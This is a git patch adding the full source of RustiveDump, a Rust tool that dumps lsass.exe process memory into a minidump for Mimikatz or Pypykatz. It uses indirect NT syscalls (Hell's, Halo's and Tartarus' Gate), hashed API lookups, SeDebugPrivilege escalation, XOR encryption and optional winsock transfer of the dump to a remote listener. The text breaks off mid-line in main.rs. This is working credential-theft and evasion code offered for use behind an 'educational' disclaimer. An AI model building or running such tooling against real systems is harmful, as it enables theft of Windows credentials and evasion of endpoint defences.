From 4f217f337250a201f10e0872521ae9bf4dc5827e Mon Sep 17 00:00:00 2001 From: safedv Date: Sun, 6 Oct 2024 18:01:51 +0200 Subject: [PATCH] first commit --- .gitignore | 1 + Cargo.lock | 25 ++ Cargo.toml | 23 ++ Makefile.toml | 32 ++ readme.md | 99 +++++++ scripts/xor_decrypt.py | 55 ++++ src/common/crtapi.rs | 110 +++++++ src/common/debug.rs | 93 ++++++ src/common/ldrapi.rs | 128 ++++++++ src/common/mod.rs | 9 + src/common/utils.rs | 90 ++++++ src/common/xor.rs | 6 + src/dump.rs | 108 +++++++ src/helper.rs | 76 +++++ src/main.rs | 108 +++++++ src/mdfile.rs | 158 ++++++++++ src/ntapi/allocator.rs | 152 ++++++++++ src/ntapi/def.rs | 515 +++++++++++++++++++++++++++++++++ src/ntapi/file.rs | 150 ++++++++++ src/ntapi/g_instance.rs | 157 ++++++++++ src/ntapi/memory.rs | 249 ++++++++++++++++ src/ntapi/mod.rs | 12 + src/ntapi/privilege.rs | 66 +++++ src/ntapi/process.rs | 149 ++++++++++ src/ntapi/syscall.rs | 594 ++++++++++++++++++++++++++++++++++++++ src/ntapi/syscall_gate.rs | 157 ++++++++++ src/ntapi/utils.rs | 81 ++++++ src/remote/mod.rs | 1 + src/remote/winsock.rs | 394 +++++++++++++++++++++++++ 29 files changed, 3798 insertions(+) create mode 100644 .gitignore create mode 100644 Cargo.lock create mode 100644 Cargo.toml create mode 100644 Makefile.toml create mode 100644 readme.md create mode 100644 scripts/xor_decrypt.py create mode 100644 src/common/crtapi.rs create mode 100644 src/common/debug.rs create mode 100644 src/common/ldrapi.rs create mode 100644 src/common/mod.rs create mode 100644 src/common/utils.rs create mode 100644 src/common/xor.rs create mode 100644 src/dump.rs create mode 100644 src/helper.rs create mode 100644 src/main.rs create mode 100644 src/mdfile.rs create mode 100644 src/ntapi/allocator.rs create mode 100644 src/ntapi/def.rs create mode 100644 src/ntapi/file.rs create mode 100644 src/ntapi/g_instance.rs create mode 100644 src/ntapi/memory.rs create mode 100644 src/ntapi/mod.rs create mode 100644 src/ntapi/privilege.rs create mode 100644 src/ntapi/process.rs create mode 100644 src/ntapi/syscall.rs create mode 100644 src/ntapi/syscall_gate.rs create mode 100644 src/ntapi/utils.rs create mode 100644 src/remote/mod.rs create mode 100644 src/remote/winsock.rs diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c41cc9e --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/target \ No newline at end of file diff --git a/Cargo.lock b/Cargo.lock new file mode 100644 index 0000000..d42fcd2 --- /dev/null +++ b/Cargo.lock @@ -0,0 +1,25 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "RustiveDump" +version = "0.1.0" +dependencies = [ + "libc-print", +] + +[[package]] +name = "libc" +version = "0.2.159" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5" + +[[package]] +name = "libc-print" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4a660208db49e35faf57b37484350f1a61072f2a5becf0592af6015d9ddd4b0" +dependencies = [ + "libc", +] diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..2fed84a --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "RustiveDump" +version = "0.1.0" +edition = "2021" +authors = ["safedv"] + +[dependencies] +libc-print = { version = "0.1.23", optional = true } + +[profile.dev] +panic = "abort" + +[profile.release] +panic = "abort" +opt-level = "s" +lto = true + +[features] +default = [] +xor = [] +remote = [] +lsasrv = [] +verbose = ["dep:libc-print"] \ No newline at end of file diff --git a/Makefile.toml b/Makefile.toml new file mode 100644 index 0000000..bef771e --- /dev/null +++ b/Makefile.toml @@ -0,0 +1,32 @@ +[config] +skip_core_tasks = true + +[env] +TARGET = "x86_64-pc-windows-gnu" +RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start" +FEATURES = "" + +[tasks.default] +description = "Default task that builds the project." +dependencies = ["build"] + +[tasks.build] +description = "Cleans, builds, and strips the project." +dependencies = ["clean", "cargo-build", "strip"] + +[tasks.clean] +description = "Cleans the project and removes the binary file." +script = [ + "cargo clean", +] + +[tasks.cargo-build] +description = "Build the project using cargo with custom rustflags and features." +command = "cargo" +args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"] +env = { "RUSTFLAGS" = "${RUSTFLAGS}" } + +[tasks.strip] +description = "Strips unnecessary sections from the binary." +command = "strip" +args = ["-s", "--strip-unneeded", "-x", "-X", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe"] diff --git a/readme.md b/readme.md new file mode 100644 index 0000000..ddd1964 --- /dev/null +++ b/readme.md @@ -0,0 +1,99 @@ +## **RustiveDump** + +**RustiveDump** is a Rust-based tool designed to dump the memory of the **lsass.exe** process using **only NT system calls**. + +It creates a minimal minidump file from scratch, containing essential components like **SystemInfo**, **ModuleList**, and **Memory64List**, with support for **XOR encryption** and **remote transmission**. + +This project is a personal learning experience, focusing on leveraging native Windows APIs for memory dumping and building a minimalistic minidump file entirely from the ground up. + +## **Key Features** + +1. **NT System Calls for Everything** + RustiveDump bypasses standard APIs and leverages NT system calls for all its operations. + +2. **No-Std and CRT-Independent**: + RustiveDump is built using Rust's `no_std` feature, which removes reliance on Rust's standard library, and it's also **CRT library independent**. This resulting in a lean release build of only **18KB**. + +3. **Indirect NT Syscalls**: + The tool uses indirect syscalls, retrieving system service numbers (SSN) with techniques like **Hell’s Gate**, **Halo's Gate**, and **Tartarus' Gate**. + +4. **Lean Memory Dump**: + RustiveDump generates a focused memory dump, containing only essential data (i.e., **SystemInfo**, **ModuleList**, and **Memory64List**), ensuring no bloated files—just enough to feed your memory analysis tools like **Mimikatz** or **Pypykatz**. + +5. **XOR Encryption**: + RustiveDump can encrypt the dump file using XOR before saving or transmitting it, adding an extra layer of security to the dumped memory. + +6. **Remote File Transmission**: + The dump file can be sent directly to a remote server using **winsock** APIs calls + +7. **Verbose Mode**: + The verbose mode provides detailed logs of each step, which can be enabled during the build process. + +## **How it works** + +1. **Enable SeDebugPrivilege**: + RustiveDump uses `NtOpenProcessToken` and `NtAdjustPrivilegesToken` to enable **SeDebugPrivilege**, allowing access to protected processes like **lsass.exe**. + +2. **LSASS Process Access**: + The tool locates the **lsass.exe** process by querying `NtQuerySystemInformation` to get a snapshot of active processes, and then opens a process handle using `NtOpenProcess` with the `PROCESS_QUERY_INFORMATION` and `PROCESS_VM_READ` access rights. + +3. **Memory Regions Handling**: + RustiveDump scans through the memory regions of the process using `NtQueryVirtualMemory` and dumps committed and accessible memory using `NtReadVirtualMemory`. + +4. **Module Information**: + RustiveDump retrieves a list of modules loaded by **lsass.exe** using `NtQueryInformationProcess` to extract the **ModuleList** from the remote PEB (Process Environment Block). + +5. **Memory Dump Creation**: + The dump is saved locally using `NtCreateFile` and `NtWriteFile`, or sent to a remote server. If desired, the dump can also be encrypted with XOR before being saved or transmitted. + +## **Build** + +RustiveDump offers several configurable build options through **cargo make** to customize the behavior of the tool. You can enable features like **XOR encryption**, **remote file transmission** and **verbose logging**. + +**Available Features:** + +- **xor**: Encrypts the dump file using XOR encryption. +- **verbose**: Enables detailed logs for each step of the process. +- **remote**: Sends the dump file to a remote server via Winsock. +- **lsasrv**: Filters the memory dump to include only the `lsasrv.dll` module from **lsass.exe**. + +### **Build Options** + +To build RustiveDump with different combinations of features, use the following commands: + +- **Basic build** (save dump locally without additional features): + + ```bash + cargo make + ``` + +- **Build with specific features** + ```bash + cargo make --env FEATURES=xor,remote,lsasrv,verbose + ``` + +## **Memory Dump File Structure** + +RustiveDump generates a minimalistic minidump file, including only the essential components for tools like **Mimikatz** and **Pypykatz**. The file consists of three core streams: + +1. **SystemInfo Stream**: OS version and architecture details. +2. **ModuleList Stream**: Lists modules loaded in **lsass.exe**. +3. **Memory64List Stream**: Memory regions from **lsass.exe**. + +For more details on the Minidump file structure, see: [Minidump (MDMP) format documentation](). + +## Disclaimer + +This project is intended **for educational and research purposes only**. RustiveDump is a minimalist memory dumper built for learning purposes. Use it responsibly, and remember, if you misuse it, that’s on you—not me! + +Always follow ethical guidelines and legal frameworks when doing security research (and, you know, just in general). + +## **Credits** + +- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump). Thanks to the author for sharing their work. + +## **Contributions** + +Contributions are welcome! If you want to help improve RustiveDump or report bugs, feel free to open an issue or a pull request in the repository. + +--- diff --git a/scripts/xor_decrypt.py b/scripts/xor_decrypt.py new file mode 100644 index 0000000..b12164a --- /dev/null +++ b/scripts/xor_decrypt.py @@ -0,0 +1,55 @@ +import sys + + +def decrypt_file(input_path, output_path, key): + """ + Reads the content of an encrypted file, applies XOR to decrypt the data, + and saves it to a new file. + + Args: + input_path (str): Path to the encrypted file. + output_path (str): Path to save the decrypted file. + key (hex): The XOR key (hex) used for decryption. + + Returns: + None + """ + try: + # Read the encrypted file data + with open(input_path, 'rb') as encrypted_file: + encrypted_data = encrypted_file.read() + + # Apply XOR to decrypt the data + decrypted_data = bytes([byte ^ key for byte in encrypted_data]) + + # Write the decrypted data to the output file + with open(output_path, 'wb') as decrypted_file: + decrypted_file.write(decrypted_data) + + print(f"File decrypted successfully! Saved to {output_path}") + + except Exception as e: + print(f"Error decrypting file: {e}") + + +def main(): + # Parse command line arguments + if len(sys.argv) < 3: + print(f"Usage: {sys.argv[0]} [output_file]") + sys.exit(1) + + # Get the input file path + input_file_path = sys.argv[1] + + # Convert the XOR key from hexadecimal string to int + xor_key = int(sys.argv[2], 16) + + # Optionally get the output file path, default to "clear_output.dmp" + output_file_path = sys.argv[3] if len(sys.argv) > 3 else "out.dmp" + + # Perform decryption + decrypt_file(input_file_path, output_file_path, xor_key) + + +if __name__ == "__main__": + main() diff --git a/src/common/crtapi.rs b/src/common/crtapi.rs new file mode 100644 index 0000000..afafbca --- /dev/null +++ b/src/common/crtapi.rs @@ -0,0 +1,110 @@ +/// Sets the first `n` bytes of the block of memory pointed to by `s` +/// to the specified value `c` (interpreted as an unsigned char). +/// +/// # Parameters +/// - `s`: A pointer to the block of memory to fill. +/// - `c`: The value to be set. Only the lower 8 bits of `c` are used. +/// - `n`: The number of bytes to be set to the value. +/// +/// # Returns +/// A pointer to the memory area `s`. +#[no_mangle] +pub extern "C" fn memset(s: *mut u8, c: i32, n: usize) -> *mut u8 { + for i in 0..n { + unsafe { *s.add(i) = c as u8 }; + } + s +} + +/// Copies `n` bytes from memory area `src` to memory area `dest`. +/// The memory areas must not overlap. +/// +/// # Parameters +/// - `dest`: A pointer to the destination array where the content is to be copied. +/// - `src`: A pointer to the source of data to be copied. +/// - `n`: The number of bytes to copy. +/// +/// # Returns +/// A pointer to the destination `dest`. +#[no_mangle] +pub extern "C" fn memcpy(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 { + for i in 0..n { + unsafe { + *dest.add(i) = *src.add(i); + } + } + dest +} + +/// Copies `n` bytes from memory area `src` to memory area `dest`. +/// The memory areas may overlap. +/// +/// # Parameters +/// - `dest`: A pointer to the destination array where the content is to be copied. +/// - `src`: A pointer to the source of data to be copied. +/// - `n`: The number of bytes to copy. +/// +/// # Returns +/// A pointer to the destination `dest`. +#[no_mangle] +pub extern "C" fn memmove(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 { + if src < dest as *const u8 { + for i in (0..n).rev() { + unsafe { + *dest.add(i) = *src.add(i); + } + } + } else { + for i in 0..n { + unsafe { + *dest.add(i) = *src.add(i); + } + } + } + dest +} + +/// Compares the first `n` bytes of the memory areas `s1` and `s2`. +/// +/// # Parameters +/// - `s1`: A pointer to the first memory area. +/// - `s2`: A pointer to the second memory area. +/// - `n`: The number of bytes to compare. +/// +/// # Returns +/// An integer less than, equal to, or greater than zero if the first `n` bytes of `s1` +/// is found, respectively, to be less than, to match, or be greater than the first `n` bytes of `s2`. +#[no_mangle] +pub extern "C" fn memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 { + for i in 0..n { + let a = unsafe { *s1.add(i) }; + let b = unsafe { *s2.add(i) }; + if a != b { + return a as i32 - b as i32; + } + } + 0 +} + +/// Computes the length of the string `s`, excluding the terminating null byte. +/// +/// # Parameters +/// - `s`: A pointer to the null-terminated byte string to be examined. +/// +/// # Returns +/// The number of bytes in the string pointed to by `s`, excluding the terminating null byte. +#[no_mangle] +pub extern "C" fn strlen(s: *const u8) -> usize { + let mut count = 0; + unsafe { + while *s.add(count) != 0 { + count += 1; + } + } + count +} + +/// A static variable required by some environments to indicate floating-point usage. +/// This is a placeholder to ensure compatibility. +#[export_name = "_fltused"] +static _FLTUSED: i32 = 0; diff --git a/src/common/debug.rs b/src/common/debug.rs new file mode 100644 index 0000000..3060817 --- /dev/null +++ b/src/common/debug.rs @@ -0,0 +1,93 @@ +use core::ffi::c_void; +use core::{ + cell::UnsafeCell, + ptr::null_mut, + sync::atomic::{AtomicBool, Ordering}, +}; + +use super::ldrapi::{ldr_function, ldr_module}; + +pub type WriteFile = unsafe extern "system" fn( + hFile: *mut c_void, + lpBuffer: *const u8, + nNumberOfBytesToWrite: u32, + lpNumberOfBytesWritten: *mut u32, + lpOverlapped: *mut c_void, +) -> i32; + +#[repr(C)] +pub struct K32 { + pub write_file: WriteFile, +} + +impl K32 { + pub fn new() -> Self { + K32 { + write_file: unsafe { core::mem::transmute(null_mut::()) }, + } + } +} + +static INIT_K32: AtomicBool = AtomicBool::new(false); + +pub static mut K32_G: UnsafeCell> = UnsafeCell::new(None); + +pub unsafe fn k32() -> &'static K32 { + ensure_initialized(); + return K32_G.get().as_ref().unwrap().as_ref().unwrap(); +} + +/// Function to ensure that initialization is performed if it hasn't been already. +fn ensure_initialized() { + unsafe { + if !INIT_K32.load(Ordering::Acquire) { + init_k32(); + } + } +} + +unsafe fn init_k32() { + if !INIT_K32.load(Ordering::Acquire) { + let mut k32 = K32::new(); + + // Resolve the base address of `kernel32.dll` using its hash (0x6ddb9555). + let kernel32_base = ldr_module(0x6ddb9555); + + // Resolve the address of `WriteFile` function from `kernel32.dll` using its hash (0xf1d207d0). + let k_write_file_addr = ldr_function(kernel32_base, 0xf1d207d0); + + // Cast the resolved address to a callable function of type `WriteFile`. + k32.write_file = core::mem::transmute(k_write_file_addr); + + *K32_G.get() = Some(k32); + + INIT_K32.store(true, Ordering::Release); + } +} +/// Global mutable instance of the agent. + +/// Implements a low-level `_write` function that writes data to a file descriptor (typically `stdout` or `stderr`). +/// This function resolves the `WriteFile` function from `kernel32.dll` and uses it to perform the actual write. +#[no_mangle] +extern "C" fn _write(_fd: i32, buf: *const u8, count: usize) -> isize { + unsafe { + let mut written: u32 = 0; // Variable to store the number of bytes written. + let handle = -11i32 as u32; // File handle for `stdout` or `stderr` (often -11 represents `stdout` on Windows). + + // Call `WriteFile` with the handle, buffer, and count of bytes to write. + let ntstatus = (k32().write_file)( + handle as *mut c_void, // File handle + buf, // Buffer containing the data to write + count as u32, // Number of bytes to write + &mut written, // Pointer to the variable that will receive the number of bytes written + core::ptr::null_mut(), // No overlapped structure + ); + + // Return the number of bytes written or an error code (if `ntstatus` is negative). + if ntstatus < 0 { + ntstatus as isize + } else { + written as isize + } + } +} diff --git a/src/common/ldrapi.rs b/src/common/ldrapi.rs new file mode 100644 index 0000000..c766c12 --- /dev/null +++ b/src/common/ldrapi.rs @@ -0,0 +1,128 @@ +use super::utils::{dbj2_hash, get_cstr_len}; + +use crate::ntapi::def::{ + find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry, + PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE, +}; + +use core::ptr::null_mut; + +/// Retrieves the NT headers from the base address of a module. +/// +/// # Arguments +/// * `base_addr` - The base address of the module. +/// +/// Returns a pointer to `ImageNtHeaders` or null if the headers are invalid. +#[cfg(target_arch = "x86_64")] +pub unsafe fn get_nt_headers(base_addr: *mut u8) -> *mut ImageNtHeaders { + let dos_header = base_addr as *mut ImageDosHeader; + + // Check if the DOS signature is valid (MZ) + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return null_mut(); + } + + // Calculate the address of NT headers + let nt_headers = (base_addr as isize + (*dos_header).e_lfanew as isize) as *mut ImageNtHeaders; + + // Check if the NT signature is valid (PE\0\0) + if (*nt_headers).signature != IMAGE_NT_SIGNATURE as _ { + return null_mut(); + } + + nt_headers +} + +/// Finds and returns the base address of a module by its hash. +/// +/// # Arguments +/// * `module_hash` - The hash of the module name to locate. +/// +/// Returns the base address of the module or null if not found. +pub unsafe fn ldr_module(module_hash: u32) -> *mut u8 { + let peb = find_peb(); // Retrieve the PEB (Process Environment Block) + + if peb.is_null() { + return null_mut(); + } + + let peb_ldr_data_ptr = (*peb).loader_data as *mut PebLoaderData; + if peb_ldr_data_ptr.is_null() { + return null_mut(); + } + + // Start with the first module in the InLoadOrderModuleList + let mut module_list = + (*peb_ldr_data_ptr).in_load_order_module_list.flink as *mut LoaderDataTableEntry; + + // Iterate through the list of loaded modules + while !(*module_list).dll_base.is_null() { + let dll_buffer_ptr = (*module_list).base_dll_name.buffer; + let dll_length = (*module_list).base_dll_name.length as usize; + + // Create a slice from the DLL name + let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length); + + // Compare the hash of the DLL name with the provided hash + if module_hash == dbj2_hash(dll_name_slice) { + return (*module_list).dll_base as _; // Return the base address of the module if the hash matches + } + + // Move to the next module in the list + module_list = (*module_list).in_load_order_links.flink as *mut LoaderDataTableEntry; + } + + null_mut() // Return null if no matching module is found +} + +/// Finds a function by its hash from the export directory of a module. +/// +/// # Arguments +/// * `module_base` - The base address of the module. +/// * `function_hash` - The hash of the function name to locate. +/// +/// Returns the function's address or null if not found. +pub unsafe fn ldr_function(module_base: *mut u8, function_hash: usize) -> *mut u8 { + let p_img_nt_headers = get_nt_headers(module_base); // Retrieve NT headers for the module + + if p_img_nt_headers.is_null() { + return null_mut(); + } + + // Get the export directory from the NT headers + let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0]; // Assuming IMAGE_DIRECTORY_ENTRY_EXPORT is 0 + let export_directory = + (module_base.offset(data_directory.virtual_address as isize)) as *mut ImageExportDirectory; + if export_directory.is_null() { + return null_mut(); + } + + let number_of_functions = (*export_directory).number_of_functions; + let array_of_names = + module_base.offset((*export_directory).address_of_names as isize) as *const u32; + let array_of_addresses = + module_base.offset((*export_directory).address_of_functions as isize) as *const u32; + let array_of_ordinals = + module_base.offset((*export_directory).address_of_name_ordinals as isize) as *const u16; + + // Create slices from the export directory arrays + let names = core::slice::from_raw_parts(array_of_names, number_of_functions as _); + let functions = core::slice::from_raw_parts(array_of_addresses, number_of_functions as _); + let ordinals = core::slice::from_raw_parts(array_of_ordinals, number_of_functions as _); + + // Iterate through the export names to find the function matching the given hash + for i in 0..number_of_functions { + let name_addr = module_base.offset(names[i as usize] as isize) as *const i8; + let name_len = get_cstr_len(name_addr as _); // Get the length of the function name + let name_slice: &[u8] = core::slice::from_raw_parts(name_addr as _, name_len); + + // Compare the hash of the function name with the provided hash + if function_hash as u32 == dbj2_hash(name_slice) { + // Retrieve the function's address by its ordinal + let ordinal = ordinals[i as usize] as usize; + return module_base.offset(functions[ordinal] as isize) as *mut u8; + } + } + + null_mut() // Return null if the function is not found +} diff --git a/src/common/mod.rs b/src/common/mod.rs new file mode 100644 index 0000000..7789828 --- /dev/null +++ b/src/common/mod.rs @@ -0,0 +1,9 @@ +pub mod crtapi; +pub mod ldrapi; +pub mod utils; + +#[cfg(feature = "verbose")] +pub mod debug; + +#[cfg(feature = "xor")] +pub mod xor; diff --git a/src/common/utils.rs b/src/common/utils.rs new file mode 100644 index 0000000..1d56c58 --- /dev/null +++ b/src/common/utils.rs @@ -0,0 +1,90 @@ +#[cfg(not(feature = "remote"))] +use alloc::string::String; + +#[cfg(not(feature = "remote"))] +use crate::ntapi::def::UnicodeString; + +/// Computes the DJB2 hash for the given buffer +pub fn dbj2_hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter < buffer.len() { + cur = buffer[iter]; + + if cur == 0 { + iter += 1; + continue; + } + + if cur >= ('a' as u8) { + cur -= 0x20; + } + + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + hsh +} + +/// Calculates the length of a C-style null-terminated string. +pub fn get_cstr_len(pointer: *const char) -> usize { + let mut tmp: u64 = pointer as u64; + + unsafe { + while *(tmp as *const u8) != 0 { + tmp += 1; + } + } + + (tmp - pointer as u64) as _ +} + +pub fn string_length_w(string: *const u16) -> usize { + unsafe { + let mut string2 = string; + while !(*string2).is_null() { + string2 = string2.add(1); + } + string2.offset_from(string) as usize + } +} + +// Utility function for checking null terminator for u8 and u16 +trait IsNull { + fn is_null(&self) -> bool; +} + +impl IsNull for u16 { + fn is_null(&self) -> bool { + *self == 0 + } +} + +#[cfg(not(feature = "remote"))] +pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option { + if unicode_string.length == 0 || unicode_string.buffer.is_null() { + return None; + } + + let slice = unsafe { + core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize) + }; + + String::from_utf16(slice).ok() +} + +#[cfg(feature = "verbose")] +#[macro_export] +macro_rules! debug_println { + ($($arg:tt)*) => ({ + libc_println!($($arg)*); + }); +} + +#[cfg(not(feature = "verbose"))] +#[macro_export] +macro_rules! debug_println { + ($($arg:tt)*) => {}; +} diff --git a/src/common/xor.rs b/src/common/xor.rs new file mode 100644 index 0000000..587a596 --- /dev/null +++ b/src/common/xor.rs @@ -0,0 +1,6 @@ +use alloc::vec::Vec; + +/// Performs XOR operation on a Vec using a given key (u8). +pub fn xor_bytes(data: Vec, key: u8) -> Vec { + data.into_iter().map(|byte| byte ^ key).collect() +} diff --git a/src/dump.rs b/src/dump.rs new file mode 100644 index 0000000..392e912 --- /dev/null +++ b/src/dump.rs @@ -0,0 +1,108 @@ +#[cfg(feature = "verbose")] +use libc_print::libc_println; + +use core::ffi::c_void; + +use alloc::{ + string::{String, ToString}, + vec::Vec, +}; + +use crate::{ + debug_println, + mdfile::{MemoryRegion, ModuleInfo}, + ntapi::{ + def::{MEM_COMMIT, PAGE_NOACCESS}, + memory::{query_memory_info, read_memory}, + }, +}; + +/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump. +/// +/// This function iterates through the memory space of a process, queries memory information, +/// reads the memory, and dumps it into the provided vectors. +pub unsafe fn dump_memory_regions( + process_handle: *mut c_void, + module_info_list: &mut Vec, + memory64list: &mut Vec, + memory_regions: &mut Vec, +) { + // Initialize variables for memory region traversal and dumping. + let mut memory_address: usize = 0; // Start memory address for dumping. + let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address. + let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name. + let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions. + + // Loop through the process's memory space until the maximum address is reached. + while memory_address < max_memory_address { + // Query information about the current memory region. + if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void) + { + // Check if the memory region is committed and accessible. + if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT { + // Try to match the current region with known modules based on their base addresses. + let matching_object = module_info_list + .iter_mut() + .find(|obj| obj.base_name == tmp_module_base_name); + + // If the region size is 0x1000 and does not match a module, update the module info. + if memory_info.region_size == 0x1000 + && memory_info.base_address as usize + != matching_object + .as_ref() + .map(|obj| obj.base_address) + .unwrap_or(0) + { + // If a module was found, update its region size. + if let Some(module) = matching_object { + module.region_size = tmp_memory_region_size; + } + + // Update auxiliary name and size based on the current memory region. + tmp_module_base_name = module_info_list + .iter() + .find(|module| module.base_address == memory_info.base_address as usize) + .map(|module| module.base_name.clone()) + .unwrap_or_else(|| "Unknown".to_string()); + tmp_memory_region_size = memory_info.region_size as usize; + } else { + // Accumulate the region size. + tmp_memory_region_size += memory_info.region_size as usize; + } + + // Read the memory region if it's valid and dump it. + if let Some(buffer) = read_memory( + process_handle as *mut c_void, + memory_info.base_address as *mut c_void, + memory_info.region_size as usize, + ) { + // Append the read memory region to the dump. + memory_regions.extend_from_slice(&buffer); + // Add the memory region to the list of dumped regions. + memory64list.push(MemoryRegion { + base_address: memory_address, + region_size: memory_info.region_size as usize, + }); + } + } + + // Move to the next memory region by incrementing the memory address. + memory_address += memory_info.region_size as usize; + } else { + // If querying the memory fails, print an error message and break out of the loop. + debug_println!( + "[-] Failed to query memory at address: 0x{:X}", + memory_address + ); + break; + } + } + + // Update the region size of the last matched module. + if let Some(module) = module_info_list + .iter_mut() + .find(|module| module.base_name == tmp_module_base_name) + { + module.region_size = tmp_memory_region_size; + } +} diff --git a/src/helper.rs b/src/helper.rs new file mode 100644 index 0000000..ac0da57 --- /dev/null +++ b/src/helper.rs @@ -0,0 +1,76 @@ +use alloc::vec::Vec; +use core::ffi::c_void; + +use crate::{ + dump::dump_memory_regions, + mdfile::{MemoryRegion, ModuleInfo}, + ntapi::{ + def::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ}, + memory::get_modules_info, + privilege::enable_se_debug_privilege, + process::get_process_handle_by_name, + }, +}; + +#[cfg(not(feature = "remote"))] +use crate::ntapi::file::save_file; + +#[cfg(feature = "remote")] +use crate::remote::winsock::send_file; + +/// Enables SeDebugPrivilege for the process. +/// This is necessary to access system processes like `lsass.exe`. +pub fn initialize_privileges() -> i32 { + unsafe { enable_se_debug_privilege() } +} + +/// Retrieves a handle to the `lsass.exe` process using its DBJ2 hash. +/// Returns a handle to the process if successful. +pub fn get_process_handle() -> *mut c_void { + unsafe { get_process_handle_by_name(0x7384117b, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ) } +} + +/// Retrieves the list of modules loaded in the process. +/// If the `lsasrv` feature is enabled, it only retrieves the `lsasrv.dll` module. +pub fn retrieve_modules(process_handle: *mut c_void) -> Vec { + #[cfg(feature = "lsasrv")] + return get_modules_info(process_handle, Some(0xe477fbca)); + #[cfg(not(feature = "lsasrv"))] + return get_modules_info(process_handle, None); +} + +/// Dumps the memory regions of the specified process. +/// It stores the dumped regions in `memory64list` and the raw memory data in `memory_regions`. +pub fn perform_memory_dump( + process_handle: *mut c_void, + module_info_list: &mut Vec, +) -> (Vec, Vec) { + let mut memory64list: Vec = Vec::new(); + let mut memory_regions: Vec = Vec::new(); + + // Unsafe call to dump memory regions of the process. + unsafe { + dump_memory_regions( + process_handle, + module_info_list, + &mut memory64list, + &mut memory_regions, + ); + } + + (memory64list, memory_regions) +} + +/// Sends the dump file to a remote host via a network connection. +/// Used when the `remote` feature is enabled. +#[cfg(feature = "remote")] +pub fn handle_output_file(file_bytes_to_use: Vec, listener_addr: &str, listener_port: u16) { + send_file(file_bytes_to_use.clone(), listener_addr, listener_port); +} + +/// Saves the dump file locally to disk. +/// Used when the `remote` feature is not enabled. +#[cfg(not(feature = "remote"))] +pub fn handle_output_file(file_bytes_to_use: Vec, output_file_name: &str) { + save_file(file_bytes_to_use, output_file_name); +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..3668323 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,108 @@ +#![no_std] +#![no_main] + +extern crate alloc; +use core::ptr::null_mut; + +mod common; +mod dump; +mod helper; +mod mdfile; +mod ntapi; + +#[cfg(feature = "remote")] +mod remote; + +use helper::{ + get_process_handle, handle_output_file, initialize_privileges, perform_memory_dump, + retrieve_modules, +}; +use mdfile::generate_memory_dump_file; +use ntapi::{allocator::NtVirtualAlloc, def::OSVersionInfo, utils::rtl_get_version}; + +#[cfg(feature = "verbose")] +use libc_print::libc_println; + +#[cfg(feature = "xor")] +use crate::common::xor::xor_bytes; + +#[global_allocator] +static GLOBAL: NtVirtualAlloc = NtVirtualAlloc; + +#[no_mangle] +pub extern "C" fn _start() { + #[cfg(not(feature = "remote"))] + let output_file_name = "rustive.dmp"; + + #[cfg(feature = "remote")] + let listener_addr = "localhost"; + #[cfg(feature = "remote")] + let listener_port = 1717; + + #[cfg(feature = "xor")] + let xor_key: u8 = 0x17; + + // Enable SeDebugPrivilege. + if initialize_privileges() != 0 { + return; + } + + // Retrieves the handle to the target process. + let process_handle = get_process_handle(); + if process_handle == null_mut() { + debug_println!("[-] Failed to retrieve process handle. Exiting!"); + return; + } + debug_println!("[+] Process handle: {:?}", process_handle); + + // Retrieve the list of loaded modules in the target process. + let mut module_info_list = retrieve_modules(process_handle); + if module_info_list.is_empty() { + debug_println!("[-] No modules found. Exiting!"); + return; + } + + // Dumps the memory regions of the target process. + let (memory64list, memory_regions) = perform_memory_dump(process_handle, &mut module_info_list); + + // Retrieve OS version information. + let mut version_info = OSVersionInfo::new(); + let status = unsafe { rtl_get_version(&mut version_info) }; + if status != 0 { + debug_println!( + "[-] Failed to retrieve OS Version from PEB. NTSTATUS: 0x{:X}", + status + ); + } + + // Generate the memory dump file. + let dump_file_bytes = + generate_memory_dump_file(version_info, module_info_list, memory64list, memory_regions); + if dump_file_bytes.is_empty() { + debug_println!("[-] Failed to create memory dump"); + return; + } + + // Prepare the memory dump file. + #[cfg(feature = "xor")] + let file_bytes_to_use = xor_bytes(dump_file_bytes.clone(), xor_key); + + #[cfg(not(feature = "xor"))] + let file_bytes_to_use = dump_file_bytes.clone(); + + // Handle the output. + #[cfg(feature = "remote")] + handle_output_file(file_bytes_to_use, listener_addr, listener_port); + + #[cfg(not(feature = "remote"))] + handle_output_file(file_bytes_to_use, 